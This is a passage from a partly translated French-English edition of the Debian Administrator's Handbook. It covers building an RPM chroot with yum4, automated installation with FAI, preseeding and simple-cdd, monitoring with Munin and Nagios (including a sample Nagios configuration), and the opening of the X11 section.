- undefine pour effacer toute trace de la machine virtuelle au sein de libvirtd.

Toutes ces commandes prennent en paramètre un identifiant de machine virtuelle.

Installing an RPM based chroot in Debian with yum

If a chroot is meant to run Debian (or one of its derivatives), the system can be initialized with debootstrap. But if it is to be installed with an RPM-based system (such as Fedora, CentOS or Scientific Linux), the setup will need to be done using the yum utility, available as yum4 in the nextgen-yum4 package, since the original program has been removed from Debian before the Bullseye release due to being unmaintained, outdated, and obsoleted by dnf.

The procedure requires using rpm to extract an initial set of files, including notably yum configuration files, and then calling yum4 to extract the remaining set of packages. But since we call yum4 from outside the chroot, we need to make some temporary changes. In the sample below, the target chroot is /srv/centos.

# rootdir="/srv/centos"

# mkdir -p "$rootdir" /etc/rpm

# echo "%_dbpath /var/lib/rpm" > /etc/rpm/macros.dbpath

# wget http://mirror.centos.org/centos/7/os/x86_64/Packages/centos-release-7-9.2009.0.el7.centos.x86_64.rpm

# rpm --nodeps --root "$rootdir" -i centos-release-7-9.2009.0.el7.centos.x86_64.rpm

rpm: RPM should not be used directly install RPM packages, use Alien instead!

rpm: However assuming you know what you are doing...

warning: centos-release-7-9.2009.0.el7.centos.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID f4a80eb5: NOKEY

# sed -i -e "s,gpgkey=file:///etc/,gpgkey=file://${rootdir}/etc/,g" $rootdir/etc/yum.repos.d/*.repo

# yum4 --assumeyes --installroot $rootdir groupinstall core

[...]

# sed -i -e "s,gpgkey=file://${rootdir}/etc/,gpgkey=file:///etc/,g" $rootdir/etc/yum.repos.d/*.repo

# chroot /srv/centos/

[root@testsystem /]#

12.3. Installation automatisée

Les administrateurs de Falcot SA, comme tous les administrateurs de parcs importants de machines, ont besoin d'outils pour installer (voire réinstaller) rapidement, et si possible automatiquement, leurs nouvelles machines.

Pour répondre à ces besoins, il y a différentes catégories de solutions : d'un côté, des outils génériques comme SystemImager qui gèrent cela en créant une image des fichiers d'une machine modèle qui peut ensuite être déployée sur les machines cibles ; de l'autre, debian-installer, l'installateur standard auquel on ajoute un fichier de configuration indiquant les réponses aux différentes questions posées au cours de l'installation. Entre les deux, on trouve un outil hybride comme FAI (Fully Automatic Installer) qui installe des machines en s'appuyant sur le système de paquetage, mais qui exploite sa propre infrastructure pour les autres tâches relevant du déploiement (démarrage, partitionnement, configuration, etc.).

Each of these solutions has its pros and cons: SystemImager works independently from any particular packaging system, which allows it to manage large sets of machines using several distinct Linux distributions. It also includes an update system that doesn't require a reinstallation, but this update system can only be reliable if the machines are not modified independently; in other words, the user must not update any software on their own, or install any other software. Similarly, security updates must not be automated, because they have to go through the centralized reference image maintained by SystemImager. This solution also requires the target machines to be homogeneous, otherwise many different images would have to be kept and managed (an amd64 image won't fit on a powerpc machine, and so on).

On the other hand, an automated installation using debian-installer can adapt to the specifics of each machine: the installer will fetch the appropriate kernel and software packages from the relevant repositories, detect available hardware, partition the whole hard disk to take advantage of all the available space, install the corresponding Debian system, and set up an appropriate bootloader. However, the standard installer will only install standard Debian versions, with the base system and a set of pre-selected “tasks”; this precludes installing a particular system with non-packaged applications. Fulfilling this particular need requires customizing the installer… Fortunately, the installer is very modular, and there are tools to automate most of the work required for this customization, most importantly simple-cdd (CDD being an acronym for Custom Debian Derivative). Even this solution, however, only handles initial installations; this is usually not a problem since the APT tools allow efficient deployment of updates later on.

We will only give a rough overview of FAI, and skip SystemImager altogether (which is no longer in Debian, but available as a third-party package), in order to focus more intently on debian-installer and simple-cdd, which are more interesting in a Debian-only context.

12.3.1. Fully Automatic Installer (FAI)

Fully Automatic Installer est probablement la plus ancienne des solutions de déploiement automatisé de systèmes Debian. C'est pourquoi cet outil est très fréquemment cité ; mais sa grande souplesse compense difficilement sa relative complexité.

Pour exploiter cette solution, il faut un système serveur qui va permettre de stocker les informations de déploiement et de démarrer les machines depuis le réseau. On y installera le paquet fai-server (ou fai-quickstart si on veut forcer l'installation de tous les éléments nécessaires pour une configuration relativement standard).

FAI uses a specific approach for defining the various installable profiles. Instead of simply duplicating a reference installation, FAI is a full-fledged installer, fully configurable via a set of files and scripts stored on the server; the default location /srv/fai/config/ according to /etc/fai/nfsroot.conf is not automatically created, so the administrator needs to create it along with the relevant files. Most of the times, these files will be customized from the example files available in the documentation for the fai-doc package, more particularly the /usr/share/doc/fai-doc/examples/simple/ directory.

Once the profiles are defined, the fai-setup command generates the elements required to start an FAI installation; this mostly means preparing or updating a minimal system (NFS-root) used during installation. An alternative is to generate a dedicated boot CD with fai-cd.

Avant d'être à même de créer tous ces fichiers de configuration, il convient d'avoir une bonne idée du fonctionnement de FAI. Une installation typique enchaîne les étapes suivantes :

- récupération et démarrage du noyau par le réseau ;

- montage du système racine par NFS (le nfsroot mentionné précédemment) ;

- exécution de /usr/sbin/fai qui contrôle le reste de l'installation (les étapes suivantes sont donc initiées par ce script) ;

- récupération de l'espace de configuration depuis le serveur et mise à disposition dans /fai/ ;

- appel de fai-class. Les scripts /fai/class/[0-9][0-9]* sont exécutés et retournent des noms de « classe » qui doivent être appliqués à la machine en cours d'installation ; cette information sera réutilisée par les différentes étapes à suivre. Il s'agit d'un moyen relativement souple de définir les services qui doivent être installés et configurés.

- récupération d'un certain nombre de variables de configuration en fonction des classes définies ;

- partitionnement des disques et formatage des partitions à partir des informations fournies dans /fai/disk_config/classe ;

- montage des partitions ;

- installation d'un système de base ;

- préconfiguration de la base Debconf avec fai-debconf ;

- téléchargement de la liste des paquets disponibles pour APT ;

- installation des logiciels listés dans les fichiers /fai/package_config/classe ;

- exécution des scripts de post-configuration /fai/scripts/classe/[0-9][0-9]* ;

- enregistrement des logs de l'installation, démontage des partitions, redémarrage.

12.3.2. Debian-installer avec préconfiguration

At the end of the day, the best tool to install Debian systems should logically be the official Debian installer. This is why, right from its inception, debian-installer has been designed for automated use, taking advantage of the infrastructure provided by debconf. The latter allows, on the one hand, to reduce the number of questions asked (hidden questions will use the provided default answer), and on the other hand, to provide the default answers separately, so that installation can be non-interactive. This last feature is known as preseeding.

POUR ALLER PLUS LOIN Debconf avec une base de données centralisée

La préconfiguration permet de fournir un ensemble de réponses au moment de l'installation, mais celui-ci n'évolue pas dans le temps. Pour répondre à cette problématique qui concerne essentiellement la mise à jour de machines déjà installées, il est possible de paramétrer debconf via son fichier de configuration /etc/debconf.conf pour lui demander d'utiliser des sources de données externes (comme LDAP ou un fichier distant accessible par NFS ou Samba). Les sources peuvent être multiples et complémentaires. La base de données locale reste employée en lecture-écriture mais les autres bases de données sont généralement accessibles en lecture seule uniquement. La page de manuel debconf.conf(5) détaille toutes les possibilités offertes (pour cela il faut installer le paquet debconf-doc).

12.3.2.1. Employer un fichier de préconfiguration

L'installateur peut récupérer un fichier de préconfiguration à différents emplacements :

- dans l'initrd employé pour démarrer la machine — dans ce cas, la préconfiguration a lieu au tout début de l'installation et toutes les questions peuvent être évitées par ce biais. Il suffit de nommer le fichier preseed.cfg et de le placer à la racine de l'initrd.

- sur le support de démarrage (CD-Rom ou clé USB) — dans ce cas, la préconfiguration a lieu dès que le support en question est monté, soit juste après les questions concernant la langue et le clavier. Le paramètre de démarrage preseed/file permet d'indiquer l'emplacement du fichier de préconfiguration (ex : /cdrom/preseed.cfg si l'on emploie un CD-Rom ou /hd-media/preseed.cfg pour une clé USB).

- from the network; preseeding then only happens after the network is (automatically) configured; the relevant boot parameter is then preseed/url=http://server/preseed.cfg (HTTPS, FTPS, SFTP, etc. are not supported).

Inclure le fichier de préconfiguration dans l'initrd semble au premier abord la solution la plus intéressante, mais on ne l'emploiera que très rarement, en raison de la complexité de génération d'un initrd adapté à l'installateur. Les deux autres solutions seront donc privilégiées, d'autant plus qu'il existe un autre moyen de préconfigurer les premières questions de l'installation via les paramètres de démarrage. Pour éviter de les saisir manuellement, il faudra simplement modifier la configuration de isolinux (démarrage sur CD-Rom) ou syslinux (démarrage sur clé USB).

12.3.2.2. Créer un fichier de préconfiguration

Un fichier de préconfiguration est un simple fichier texte où chaque ligne contient une réponse à une question Debconf. Les questions se décomposent en 4 champs séparés par des blancs (espaces ou tabulations) comme dans l'exemple d-i mirror/suite string stable :

- Le premier champ est le propriétaire de la question ; on y met d-i pour les questions concernant l'installateur, ou le nom du paquet pour les questions Debconf employées par les paquets Debian;

- the second field is an identifier for the question (the template name);

- Le troisième champ est le type de la question;

- Et enfin, le quatrième champ contient la valeur de la réponse. Signalons qu'un espace unique sépare le type de la valeur ; s'il y en a plus qu'un, les espaces suivants feront partie de la valeur.

Le moyen le plus simple de rédiger un fichier de préconfiguration est d'installer manuellement un système. On récupère ensuite toutes les réponses concernant debian-installer avec debconf-get-selections --installer ; pour les réponses concernant les paquets, on utilise debconf-get-selections. Toutefois, il est plus propre de rédiger un tel fichier manuellement à partir d'un exemple et de la documentation de référence : on ne préconfigurera une réponse que lorsque la réponse par défaut ne convient pas et pour le reste, on s'appuiera sur le paramètre de démarrage priority=critical qui restreint l'affichage aux seules questions critiques.

Pre-setting a value in a preseed file automatically instructs the Debian installer to not ask that question. This happens, because loading the preseed file does not just set the given value(s), but also marks each of the affected dialogs as “seen“ by the user. Thus it is possible to pre-set a question's value and still present the dialog to the user by resetting the “seen“ flag. Beware that order in this case matters and that the value has to be preseeded before setting the dialog to “unseen“ as shown in the following example:

d-i netcfg/hostname string worker

d-i netcfg/hostname seen false

DOCUMENTATION Annexe du manuel de l'installateur

The installation guide, available online, includes detailed documentation on the use of a preseed file in an appendix. It also includes a detailed and commented sample file, which can serve as a base for local customizations. There are also collections of all debconf templates extracted from each component and suite of Debian:

→ https://www.debian.org/releases/stable/amd64/apb

→ https://www.debian.org/releases/stable/example-preseed.txt

→ https://preseed.debian.net/

Preseeding an installation is often not as straightforward as one would wish. It sometimes requires to understand how packages process the given values in their scripts. Don't hesitate to ask on the <debian-cd@lists.debian.org> mailing list or in the #debian-cd IRC channel if you require help. Also be aware that some complex setups still cannot be achieved by preseeding.

12.3.2.3. Créer un support de démarrage adapté

Ce n'est pas tout de savoir où il faut mettre le fichier de préconfiguration, encore faut-il savoir comment le faire. En effet, il faut d'une manière ou d'une autre modifier le support de démarrage de l'installation pour y changer les paramètres de démarrage et pour y ajouter le fichier.

12.3.2.3.1. Démarrage depuis le réseau

When a computer is booted from the network, the server sending the initialization elements also defines the boot parameters. Thus, the change needs to be made in the PXE configuration for the boot server; more specifically, in its /tftpboot/pxelinux.cfg/default configuration file. Setting up network boot is a prerequisite; see the Installation Guide for details.

→ https://www.debian.org/releases/stable/amd64/ch04s05

12.3.2.3.2. Préparer une clé USB amorçable

Once a bootable key has been prepared (see Section 4.1.2, « Démarrage depuis une clé USB »), a few extra operations are needed. Assuming the key contents are available under /media/usbdisk/, copy the preseed file to /media/usbdisk/preseed.cfg.

If you have been using a hybrid ISO image to create the bootable USB stick, then you have to edit /media/usbdisk/boot/grub/grub.cfg (for the EFI boot screen):

Exemple 12.2. boot/grub/grub.cfg file and preseeding parameters

menuentry --hotkey=i 'Install' {

set background_color=black

linux    /install.amd/vmlinuz preseed/file=/cdrom/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 --- quiet

initrd   /install.amd/initrd.gz

}

And you have to edit /media/usbdisk/isolinux/isolinux.cfg (for BIOS boot) or one of the files it utilizes - e.g. /media/usbdisk/isolinux/txt.cfg - to add required boot parameters:

Exemple 12.3. isolinux/txt.cfg file and preseeding parameters

label install

menu label ^Install

kernel [...]

append preseed/file=/cdrom/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 initrd=/install.amd/initrd.gz --- quiet

If you have been using the hd-media installer image for a custom USB stick, edit /media/usbdisk/syslinux.cfg and add the required boot parameters as shown in the example below:

Exemple 12.4. Fichier syslinux.cfg et paramètres pour la préconfiguration

default vmlinuz

append preseed/file=/hd-media/preseed.cfg locale=fr_FR console-keymaps-at/keymap=fr-latin9 languagechooser/language-name=French countrychooser/shortlist=FR vga=normal initrd=initrd.gz  --

12.3.2.3.3. Créer une image de CD-Rom

Une clé USB étant un support accessible en lecture/écriture, il est facile d'y ajouter un fichier et de modifier quelques paramètres. Ce n'est plus le cas avec un CD-Rom : nous devons régénérer une image ISO d'installation de Debian. C'est précisément le rôle de debian-cd. Malheureusement, cet outil est assez contraignant à l'usage. Il faut en effet disposer d'un miroir Debian local, prendre le temps de comprendre toutes les options offertes par /usr/share/debian-cd/CONF.sh, puis enchaîner des invocations de make. La lecture de /usr/share/debian-cd/README s'avérera nécessaire.

Having said that, debian-cd always operates in a similar way: an “image” directory with the exact contents of the CD-ROM is generated, then converted to an ISO file with a tool such as genisoimage, mkisofs or xorriso. The image directory is finalized after debian-cd's make image-trees step. At that point, we insert the preseed file into the appropriate directory (usually $TDIR/$CODENAME/CD1/, $TDIR and $CODENAME being parameters defined by the CONF.sh configuration file). The CD-ROM uses isolinux as its bootloader, and its configuration file must be adapted from what debian-cd generated, in order to insert the required boot parameters (the specific files are $TDIR/$CODENAME/CD1/isolinux/isolinux.cfg and $TDIR/$CODENAME/CD1/boot/grub/grub.cfg as shown above). Then the “normal” process can be resumed, and we can go on to generating the ISO image with make image CD=1 (or make images if several CD-ROMs are generated).

12.3.3. Simple-CDD : la solution tout en un

L'emploi d'un fichier de préconfiguration ne répond pas à tous les besoins liés à un déploiement de parc informatique. Même s'il est possible d'exécuter quelques scripts à la fin de l'installation, la souplesse de sélection des paquets à installer reste limitée (on sélectionne essentiellement les tâches) et surtout cela ne permet pas d'installer des paquets locaux ne provenant pas de Debian.

On the other hand, debian-cd is able to integrate external packages, and debian-installer can be extended by inserting new steps in the installation process. By combining these capabilities, it should be possible to create a customized installer that fulfills our needs; it should even be able to configure some services after unpacking the required packages. Fortunately, this is not a mere hypothesis, since this is exactly what simple-cdd does.

The purpose of this tool is to allow anyone to easily create a distribution derived from Debian, by selecting a subset of the available packages, preconfiguring them with Debconf, adding specific software, and executing custom scripts at the end of the installation process. This matches the “universal operating system” philosophy, since anyone can adapt it to their own needs.

12.3.3.1. Définir des profils

À l'instar des « classes » de FAI, Simple-CDD permet de créer des « profils » et, au moment de l'installation, on décide de quels profils une machine va hériter. Un profil se définit par un ensemble de fichiers profiles/profil.* :

- Le fichier .description contient une ligne de description du profil;

- Le fichier .packages liste les paquets qui seront automatiquement installés si le profil est sélectionné;

- Le fichier .downloads liste des paquets qui seront intégrés sur l'image d'installation mais qui ne seront pas nécessairement installés;

- Le fichier .preseed contient une préconfiguration de questions debconf (aussi bien pour l'installateur que pour les paquets);

- Le fichier .postinst contient un script qui est exécuté sur le système installé juste avant la fin de l'installation;

- lastly, the .conf file allows changing some parameters based on the profiles to be included in an image.

Le profil default est particulier puisqu'il est systématiquement employé et contient le strict minimum pour que Simple-CDD puisse fonctionner. La seule chose qu'il soit intéressant de personnaliser dans ce profil est le paramètre de préconfiguration simple-cdd/profiles : on peut ainsi éviter une question introduite par Simple-CDD et qui demande la liste des profils qui doivent être installés.

Signalons également qu'il faudra invoquer la commande depuis le répertoire parent de ce répertoire profiles.

12.3.3.2. Configuration et fonctionnement de build-simple-cdd

DÉCOUVERTE Fichier de configuration détaillé

An example of a Simple-CDD configuration file, with most possible parameters, is included in the package (/usr/share/doc/simple-cdd/examples/simple-cdd.conf.detailed). This can be used as a starting point when creating a custom configuration file. Unfortunately not everything is documented there, so some variables are only listed and explained in /usr/lib/python3/dist-packages/simple_cdd/variables.py.

It is further important to familiarize yourself with the variables understood by /usr/share/debian-cd/CONF.sh.

Afin de pouvoir faire son œuvre, il faut fournir à Simple-CDD toute une série d'informations. Le plus pratique est de les regrouper dans un fichier de configuration que l'on transmettra à build-simple-cdd par son option --conf. Mais elles peuvent parfois être spécifiées par le biais de paramètres dédiés de build-simple-cdd. Passons en revue le fonctionnement de cette commande et l'influence des différents paramètres :

- Le paramètre profiles liste les profils à inclure sur l'image de CD-Rom générée;

- À partir de la liste des paquets requis, Simple-CDD recrée un miroir Debian partiel (qu'il passera en paramètre à debian-cd plus tard) en téléchargeant les fichiers nécessaires depuis le serveur mentionné dans server;

- Il intègre dans ce miroir local les paquets Debian personnalisés listés dans local_packages;

- Il exécute debian-cd (dont l'emplacement par défaut peut être configuré grâce à la variable debian_cd_dir) en lui passant la liste des paquets à intégrer;

- Il interfère sur le répertoire préparé par debian-cd de plusieurs manières :

- Il dépose les fichiers concernant les profils dans un répertoire simple-cdd sur le CD-Rom;

- Il ajoute les fichiers listés par le paramètre all_extras;

- Il rajoute des paramètres de démarrage pour activer la préconfiguration et pour éviter les premières questions concernant la langue et le pays. Il récupère ces informations depuis les paramètres language et country.

- Il demande à debian-cd de générer l'image ISO finale.

12.3.3.3. Générer une image ISO

Once we have written a configuration file and defined our profiles, the remaining step is to invoke build-simple-cdd --conf simple-cdd.conf. After a few minutes, we get the required image in images/debian-11-amd64-CD-1.iso.

12.4. Supervision

La supervision couvre plusieurs aspects et répond à plusieurs problématiques. D'une part, il s'agit de suivre dans le temps l'évolution de l'usage des ressources offertes par une machine donnée, afin d'anticiper la saturation et les besoins de mises à jour. D'autre part, il s'agit d'être alerté en cas d'indisponibilité ou de dysfonctionnement d'un service afin d'y remédier dans les plus brefs délais.

Munin répond très bien à la première problématique en proposant sous forme graphique des historiques de nombreux paramètres (usage mémoire vive, usage disque, charge processeur, trafic réseau, charge de Apache/MySQL, etc.). Nagios répond à la seconde en vérifiant très régulièrement que les services sont fonctionnels et disponibles et en remontant les alertes par les canaux appropriés (souvent par le courrier électronique, parfois avec des SMS, etc.). Les deux logiciels sont conçus de manière modulaire : il est relativement aisé de créer de nouveaux greffons (plug-ins) pour surveiller des services ou paramètres spécifiques.

ALTERNATIVE Zabbix, un système de supervision intégré

Although Munin and Nagios are in very common use, they are not the only players in the monitoring field, and each of them only handles half of the task (graphing on one side, alerting on the other). Zabbix, on the other hand, integrates both parts of monitoring; it also has a web interface for configuring the most common aspects. It has grown by leaps and bounds during the last few years, and can now be considered a viable contender. On the monitoring server, you would install zabbix-server-pgsql (or zabbix-server-mysql), possibly together with zabbix-frontend-php to have a web interface. On the hosts to monitor you would install zabbix-agent feeding data back to the server.

→ https://zabbix.com/

ALTERNATIVE Icinga, un fork de Nagios

Spurred by divergences in opinions concerning the development model for Nagios (which is controlled by a company), a number of developers forked Nagios and use Icinga as their new name. Icinga is still compatible — so far — with Nagios configurations and plugins, but it also adds extra features.

→ https://icinga.com/

12.4.1. Mise en œuvre de Munin

Ce logiciel permet de superviser de nombreuses machines ; il emploie donc fort logiquement une architecture client/serveur. Une machine centrale — le grapheur — va collecter les données exportées par tous les hôtes à superviser, pour en faire des graphiques historiques.

12.4.1.1. Configuration des hôtes à superviser

La première étape consiste à installer le paquet munin-node. Ce dernier contient un démon qui écoute sur le port 4949 et qui renvoie toutes les valeurs collectées par l'ensemble des greffons actifs. Chaque greffon est un simple programme qui peut renvoyer une description des informations qu'il collecte ainsi que la dernière valeur constatée. Ils sont placés dans /usr/share/munin/plugins/ mais seuls ceux qui sont liés dans /etc/munin/plugins/ sont réellement employés.

When the package is installed, a set of active plugins is determined based on the available software and the current configuration of the host. However, this auto-configuration depends on a feature that each plugin must provide, and it is usually a good idea to review and tweak the results by hand. Browsing the Plugin Gallery can be interesting even though not all plugins have comprehensive documentation.

→ https://gallery.munin-monitoring.org

However, all plugins are scripts and most are rather simple and well-commented. Browsing /etc/munin/plugins/ is therefore a good way of getting an idea of what each plugin is about and determining which should be removed. Similarly, enabling an interesting plugin found in /usr/share/munin/plugins/ is a simple matter of setting up a symbolic link with ln -sf /usr/share/munin/plugins/plugin /etc/munin/plugins/. Note that when a plugin name ends with an underscore “_”, the plugin requires a parameter. This parameter must be stored in the name of the symbolic link; for instance, the “if_” plugin must be enabled with a if_eth0 symbolic link, and it will monitor network traffic on the eth0 interface.

Once all plugins are correctly set up, the daemon configuration must be updated to describe access control for the collected data. This involves allow directives in the /etc/munin/munin-node.conf file. The default configuration is allow ^127\.0\.0\.1$, and only allows access to the local host. An administrator will usually add a similar line containing the IP address of the grapher host, then restart the daemon with systemctl restart munin-node.

POUR ALLER PLUS LOIN Créer ses propres greffons

Munin does include detailed documentation on how plugins should behave, and how to develop new plugins.

→ https://guide.munin-monitoring.org/en/latest/plugin/writing.html

Pour tester le greffon, il convient de le lancer dans les mêmes conditions que munin-node le ferait en exécutant munin-run greffon en tant qu'utilisateur root. Le deuxième paramètre éventuel (comme config) est réemployé comme paramètre lors de l'exécution du greffon.

Lorsque le greffon est appelé avec le paramètre config, il doit renvoyer un ensemble de champs le décrivant, par exemple :

# munin-run load config

graph_title Load average

graph_args --base 1000 -l 0

graph_vlabel load

graph_scale no

graph_category system

load.label load

graph_info The load average of the machine describes how many processes are in the run-queue (scheduled to run "immediately").

load.info 5 minute load average

The various available fields are described by the “Plugin reference” available as part of the “Munin guide”.

→ https://munin.readthedocs.org/en/latest/reference/plugin.html

Lorsque le greffon est appelé sans paramètre, il renvoie simplement les dernières valeurs associées ; ainsi l'exécution de sudo munin-run load retourne par exemple load.value 0.12.

Enfin, lorsque le greffon est appelé avec autoconf comme paramètre, il renvoie « yes » (avec un code retour à 0) ou « no » (avec un code de retour à 1) pour signifier si oui ou non le greffon devrait être activé sur cette machine.

12.4.1.2. Configuration du grapheur

Par grapheur, on entend simplement la machine qui va collecter les données et générer les graphiques correspondants. Le paquet correspondant à installer est munin. La configuration initiale du paquet lance munin-cron toutes les 5 minutes. Ce dernier collecte les données depuis toutes les machines listées dans /etc/munin/munin.conf (uniquement l'hôte local par défaut), stocke les historiques sous forme de fichiers RRD (Round Robin Database est un format de fichier adapté au stockage de données variant dans le temps) dans /var/lib/munin/ et régénère une page HTML avec des graphiques dans /var/cache/munin/www/.

Il faut donc éditer /etc/munin/munin.conf pour y ajouter toutes les machines à surveiller. Chaque machine se présente sous la forme d'une section complète portant son nom et contenant une entrée address qui indique l'adresse IP de la machine à superviser.

[ftp.falcot.com]

address 192.168.0.12

use_node_name yes

Les sections peuvent être plus élaborées et décrire des graphiques supplémentaires à créer à partir de la combinaison de données provenant de plusieurs machines. On peut s'inspirer des exemples fournis dans le fichier de configuration.

Enfin, la dernière étape consiste à publier les pages générées. Il faut configurer votre serveur web pour que l'on puisse accéder au contenu de /var/cache/munin/www/ par l'intermédiaire d'un site web. On choisira généralement de restreindre l'accès soit à l'aide d'un système d'authentification, soit en fournissant une liste d'adresses IP autorisées à consulter ces informations. La Section 11.2, « Serveur web (HTTP) » fournit les explications nécessaires.

12.4.2. Mise en œuvre de Nagios

Contrairement à Munin, Nagios ne nécessite pas forcément d'installer quoi que ce soit sur les machines à superviser. En effet, il est fréquemment employé simplement pour vérifier la disponibilité de certains services réseau. Par exemple, Nagios peut se connecter à un serveur web et vérifier qu'il peut récupérer une page web donnée dans un certain délai.

12.4.2.1. Installation

The first step in setting up Nagios is to install the nagios4 and monitoring-plugins packages. Installing the packages configures the web interface and the Apache server. The authz_groupfile and auth_digest Apache modules must be enabled, for that execute:

# a2enmod authz_groupfile

Considering dependency authz_core for authz_groupfile:

Module authz_core already enabled

Module authz_core already enabled

Enabling module authz_groupfile.

To activate the new configuration, you need to run:

systemctl restart apache2

# a2enmod auth_digest

Considering dependency authn_core for auth_digest:

Module authn_core already enabled

Enabling module auth_digest.

To activate the new configuration, you need to run:

systemctl restart apache2

# systemctl restart apache2

Adding other users is a simple matter of inserting them in the /etc/nagios4/hdigest.users file.

Pointing a browser at http://server/nagios4/ displays the web interface; in particular, note that Nagios already monitors some parameters of the machine where it runs. However, some interactive features such as adding comments to a host do not work. These features are disabled in the default configuration for Nagios, which is very restrictive for security reasons.

Enabling some features involves editing /etc/nagios4/nagios.cfg. We also need to set up write permissions for the directory used by Nagios, with commands such as the following:

# systemctl stop nagios4

# dpkg-statoverride --update --add nagios www-data 2710 /var/lib/nagios4/rw

# dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios4

# systemctl start nagios4

12.4.2.2. Configuration

The Nagios web interface is rather nice, but it does not allow configuration, nor can it be used to add monitored hosts and services. The whole configuration is managed via files referenced in the central configuration file, /etc/nagios4/nagios.cfg.

Avant de plonger dans ces fichiers, il faut se familiariser avec les concepts de Nagios. La configuration liste un ensemble d'objets de différents types :

- Un hôte (host) est une machine du réseau que l'on souhaite surveiller;

- Un hostgroup est un ensemble d'hôtes que l'on souhaite regrouper pour un affichage plus clair ou pour factoriser des éléments de configuration;

- Un service est un élément à tester qui concerne un hôte ou un groupe d'hôtes. En général, il s'agit effectivement de vérifier le fonctionnement de « services » réseau, mais il peut s'agir de vérifier que des paramètres soient dans un intervalle acceptable (comme l'espace disque ou la charge CPU);

- Un servicegroup est un ensemble de services que l'on souhaite regrouper dans l'affichage;

- Un contact est une personne qui peut recevoir des alertes;

- Un contactgroup est un ensemble de contacts à avertir;

- Une timeperiod est une plage horaire pendant laquelle certains services doivent être vérifiés;

- Une commande (command) est une ligne de commande à exécuter pour tester un service donné.

Chaque objet a un certain nombre de propriétés (selon son type) qu'il est possible de personnaliser. Une liste exhaustive serait trop longue, mais les relations entre ces objets sont les propriétés les plus importantes.

Un service emploie une commande pour vérifier l'état d'une fonctionnalité sur un hôte ou un groupe d'hôtes dans une plage horaire donnée. En cas de problèmes, Nagios envoie une alerte à tous les membres du contactgroup associé au service défaillant. Chaque membre est alerté selon les modalités précisées dans son objet contact correspondant.

An inheritance system allows easy sharing of a set of properties across many objects without duplicating information. Moreover, the initial configuration includes a number of standard objects; in many cases, defining new hosts, services and contacts is a simple matter of deriving from the provided generic objects. The files in /etc/nagios4/conf.d/ are a good source of information on how they work.

Voici la configuration employée par les administrateurs de Falcot :

Exemple 12.5. /etc/nagios4/conf.d/falcot.cfg file

define contact{

name                            generic-contact

service_notification_period     24x7

host_notification_period        24x7

service_notification_options    w,u,c,r

host_notification_options       d,u,r

service_notification_commands   notify-service-by-email

host_notification_commands      notify-host-by-email

register                        0 ; Template only

}

define contact{

use             generic-contact

contact_name    rhertzog

alias           Raphael Hertzog

email           hertzog@debian.org

}

define contact{

use             generic-contact

contact_name    rmas

alias           Roland Mas

email           lolando@debian.org

}

define contactgroup{

contactgroup_name     falcot-admins

alias                 Falcot Administrators

members               rhertzog,rmas

}

define host{

use                   generic-host ; Name of host template to use

host_name             www-host

alias                 www.falcot.com

address               192.168.0.5

contact_groups        falcot-admins

hostgroups            debian-servers,ssh-servers

}

define host{

use                   generic-host ; Name of host template to use

host_name             ftp-host

alias                 ftp.falcot.com

address               192.168.0.12

contact_groups        falcot-admins

hostgroups            debian-servers,ssh-servers

}

# 'check_ftp' command with custom parameters

define command{

command_name          check_ftp2

command_line          /usr/lib/nagios/plugins/check_ftp -H $HOSTADDRESS$ -w 20 -c 30 -t 35

}

# Generic Falcot service

define service{

name                  falcot-service

use                   generic-service

contact_groups        falcot-admins

register              0

}

# Services to check on www-host

define service{

use                   falcot-service

host_name             www-host

service_description   HTTP

check_command         check_http

}

define service{

use                   falcot-service

host_name             www-host

service_description   HTTPS

check_command         check_https

}

define service{

use                   falcot-service

host_name             www-host

service_description   SMTP

check_command         check_smtp

}

# Services to check on ftp-host

define service{

use                   falcot-service

host_name             ftp-host

service_description   FTP

check_command         check_ftp2

}

This configuration file describes two monitored hosts. The first one is the web server, and the checks are made on the HTTP (80) and secure-HTTP (443) ports. Nagios also checks that an SMTP server runs on port 25. The second host is the FTP server, and the check includes making sure that a reply comes within 20 seconds. Beyond this delay, a warning is emitted; beyond 30 seconds, the alert is deemed critical. The Nagios web interface also shows that the SSH service is monitored: this comes from the hosts belonging to the ssh-servers hostgroup. The matching standard service is defined in /etc/nagios4/conf.d/services_nagios2.cfg.

On peut noter l'usage de l'héritage : pour hériter d'un autre objet, on emploie la propriété use nom-parent. Pour identifier un objet dont on veut hériter, il faut lui attribuer une propriété name identifiant. Si l'objet parent n'est pas un objet réel, mais est uniquement destiné à servir de rôle de parent, on lui ajoute la propriété register 0 qui indique à Nagios de ne pas le considérer et donc d'ignorer l'absence de certains paramètres normalement requis.

DOCUMENTATION Liste des propriétés des objets

A more in-depth understanding of the various ways in which Nagios can be configured can be obtained from the documentation hosted on https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/. It includes a list of all object types, with all the properties they can have. It also explains how to create new plugins.

POUR ALLER PLUS LOIN Tests distants avec NRPE

Many Nagios plugins allow checking some parameters local to a host; if many machines need these checks while a central installation gathers them, the NRPE (Nagios Remote Plugin Executor) plugin needs to be deployed. The nagios-nrpe-plugin package needs to be installed on the Nagios server, and nagios-nrpe-server on the hosts where local tests need to run. The latter gets its configuration from /etc/nagios/nrpe.cfg. This file should list the tests that can be started remotely, and the IP addresses of the machines allowed to trigger them. On the Nagios side, enabling these remote tests is a simple matter of adding matching services using the new check_nrpe command.

Chapitre 13. Station de travail

Les divers déploiements concernant les serveurs maintenant achevés, les administrateurs peuvent se charger des stations de travail individuelles et créer une configuration type.

13.1. Configuration du serveur X11

A brief reminder: X.org is the software component that allows graphical applications to display windows on screen. It includes a driver that makes efficient use of the video card. The features offered to the graphical applications are exported through a standard interface, X11 (Bullseye contains version X11R7.7).

PERSPECTIVE X11, XFree86 et X.org

X11 est le système graphique utilisé par la plupart des systèmes apparentés à Unix (mais également disponible sous Windows et Mac OS). Il s'agit principalement d'une spécification pour un protocole, mais le terme recouvre également sa mise en œuvre.

X11 had a rough start, but the 1990s saw XFree86 emerge as the reference implementation because it was free software, portable, and maintained by a collaborative community. However, the rate of evolution slowed down near the end when the software only gained new drivers. That situation, along with a very controversial license change, led to the X.org fork in 2004. This is now the reference implementation, and Debian Bullseye uses X.org version 7.7.

Current versions of X.org are able to auto-detect the available hardware: this applies to the video card and the monitor, as well as keyboards and mice; in fact, it is so convenient that the package no longer even creates a /etc/X11/xorg.conf configuration file.

